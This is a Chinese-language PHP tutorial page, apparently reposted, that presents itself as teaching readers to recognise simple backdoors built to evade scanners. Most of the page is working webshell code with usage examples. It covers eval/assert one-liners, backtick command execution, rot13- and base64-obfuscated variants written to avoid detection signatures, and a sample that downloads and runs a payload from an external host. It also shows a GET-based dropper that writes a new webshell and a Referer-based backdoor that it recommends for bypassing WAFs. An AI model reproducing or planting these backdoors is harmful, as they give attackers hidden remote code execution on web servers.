《PHP編程:教你識別簡單的免查殺PHP后門》要點:
本文介紹了PHP編程:教你識別簡單的免查殺PHP后門,希望對您有用。如果有疑問,可以聯(lián)系我們。
一個最常見的一句話后門可能寫作這樣
PHP教程
<?php @eval($_POST['cmd']);?>
或這樣
PHP教程
<?php @assert($_POST['cmd']);?>
tudouya 同學在FREEBUF上給出[一種構造技巧]利用PHP教程
構造生成,當然,嫌太直觀可以寫作這樣PHP教程
然后再填充些普通代碼進行偽裝,一個簡單的”免殺”shell樣本就呈現(xiàn)了PHP教程
我們再來看看號稱史上最簡單免查殺php后門PHP教程
直接上代碼:PHP教程
<?php $c=urldecode($_GET['c']);if($c){`$c`;}//完整 !$_GET['c']||`{$_GET['c']}`;//精簡 /******************************************************* * 原理:PHP中``符號包括會當作系統(tǒng)命令執(zhí)行 * 示例:http://host/?c=type%20config.php>config.txt * 然后就可以下載config.txt查看內容了! * 可以試試更變態(tài)的命令,不要干壞事哦! *******************************************************/
其實現(xiàn)原理就是PHP會直接將 ` 符號(注意:不是單引號)包括的內容解析為系統(tǒng)命令執(zhí)行!這樣就可以自由變態(tài)地擴展了!PHP教程
再來看同樣很簡單的一段代碼PHP教程
<?php preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); ?>
暗碼pagePHP教程
近期捕捉一個基于PHP實現(xiàn)的webshell樣本,其巧妙的代碼動態(tài)生成方式,猥瑣的自身頁面?zhèn)窝b手法,讓我們在分析這個樣本的過程中感受到相當多的樂趣.接下來就讓我們一同共賞這個奇葩的Webshell吧.PHP教程
Webshell代碼如下:PHP教程
<?php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents( sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); ?>
關鍵看下面這句代碼,PHP教程
這里執(zhí)行之后其實是一張圖片,解密出來的圖片地址如下:PHP教程
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后調用file_get_contents函數(shù)讀取圖片為字符串,然后substr取3649字節(jié)之后的內容,再調用gzuncompress解壓,得到真正的代碼.最后調用preg_replace的修飾符e來執(zhí)行惡意代碼的.這里執(zhí)行以下語句來還原出惡意樣本代碼,PHP教程
無特征暗藏PHP一句話:PHP教程
<?php session_start(); $_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); $_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); ?>
將$_POST['code']的內容賦值給$_SESSION['theCode'],然后執(zhí)行$_SESSION['theCode'],亮點是沒有特征碼.用掃描工具來檢查代碼的話,是不會報警的,達到目的了.
超等隱蔽的PHP后門:PHP教程
<?php $_GET [a]( $_GET [b]);?>
?
僅用GET函數(shù)就構成了木馬;
利用辦法:
??? ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};PHP教程
執(zhí)行后當前目錄生成c.php一句話木馬,當傳參a為eval時會報錯木馬生成失敗,為assert時同樣報錯,但會生成木馬,真可謂不可小視,簡簡單單的一句話,被延伸到這般應用.
層級哀求,編碼運行PHP后門:
此方法用兩個文件實現(xiàn),文件1
?PHP教程
<?php //1.php header( 'Content-type:text/html;charset=utf-8' ); parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); if (reset( $a ) == '10' && count ( $a ) == 9) { eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); } ?>
文件2
PHP教程
<?php //2.php header( 'Content-type:text/html;charset=utf-8' ); //要執(zhí)行的代碼 $code = <<<CODE phpinfo(); CODE; //進行base64編碼 $code = base64_encode ( $code ); //構造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; //后門url $url = 'http://localhost/test1/1.php ' ; $ch = curl_init(); $options = array ( CURLOPT_URL => $url , CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array( $ch , $options ); echocurl_exec( $ch ); ?>
通過HTTP哀求中的HTTP_REFERER來運行經過base64編碼的代碼,來達到后門的效果,一般waf對referer這些檢測要松一點,或者沒有檢測.用這個思路bypass waf不錯.PHP教程
我們以一個學習的心態(tài)來對待這些PHP后門法式,很多PHP后門代碼讓我們看到法式員們是多么的用心良苦.PHP教程
《PHP編程:教你識別簡單的免查殺PHP后門》是否對您有啟發(fā),歡迎查看更多與《PHP編程:教你識別簡單的免查殺PHP后門》相關教程,學精學透。維易PHP學院為您提供精彩教程。
轉載請注明本頁網(wǎng)址:
http://www.snjht.com/jiaocheng/8743.html